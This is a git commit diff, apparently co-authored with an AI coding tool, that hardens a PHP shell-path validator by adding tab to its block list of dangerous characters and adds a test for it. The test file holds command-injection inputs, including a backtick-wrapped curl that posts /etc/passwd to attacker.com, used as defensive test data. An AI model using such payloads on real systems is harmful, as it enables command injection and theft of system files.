refactor: harden and deduplicate validateShellSafePath
Changes:
- Added tab character ("\t") to dangerous characters list as token separator
- Removed redundant regex-based preg_match block (lines 147-152)
- Characters $(, ${, and backticks were already covered in $dangerousChars array
- Simplified function to rely solely on $dangerousChars loop
Security improvement:
- Tab characters can act as token separators in shell contexts
- Now explicitly blocked with descriptive error message
Tests:
- Added test for tab character blocking
- All 78 security tests pass (213 assertions)
- No regression in existing functionality
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
parent
a219f2e80e
commit
53cd2a6e86
2 changed files with 8 additions and 9 deletions
|
|
@ -128,6 +128,7 @@ function validateShellSafePath(string $input, string $context = 'path'): string
|
||||||
';' => 'command separator',
|
';' => 'command separator',
|
||||||
"\n" => 'newline (command separator)',
|
"\n" => 'newline (command separator)',
|
||||||
"\r" => 'carriage return',
|
"\r" => 'carriage return',
|
||||||
|
"\t" => 'tab (token separator)',
|
||||||
'>' => 'output redirection',
|
'>' => 'output redirection',
|
||||||
'<' => 'input redirection',
|
'<' => 'input redirection',
|
||||||
];
|
];
|
||||||
|
|
@ -142,15 +143,6 @@ function validateShellSafePath(string $input, string $context = 'path'): string
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Additional pattern-based checks for complex attack vectors
|
|
||||||
// Check for command substitution patterns: $(command) or `command`
|
|
||||||
if (preg_match('/\$\(|\$\{|`/', $input)) {
|
|
||||||
throw new \Exception(
|
|
||||||
"Invalid {$context}: command substitution patterns detected. ".
|
|
||||||
'This is not allowed for security reasons.'
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
return $input;
|
return $input;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -78,6 +78,13 @@
|
||||||
->toThrow(Exception::class, 'newline');
|
->toThrow(Exception::class, 'newline');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('blocks tab character as token separator', function () {
|
||||||
|
$path = "/tmp/file\tcurl attacker.com";
|
||||||
|
|
||||||
|
expect(fn () => validateShellSafePath($path, 'test'))
|
||||||
|
->toThrow(Exception::class, 'tab');
|
||||||
|
});
|
||||||
|
|
||||||
test('blocks complex command injection with the example from issue', function () {
|
test('blocks complex command injection with the example from issue', function () {
|
||||||
$path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';
|
$path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue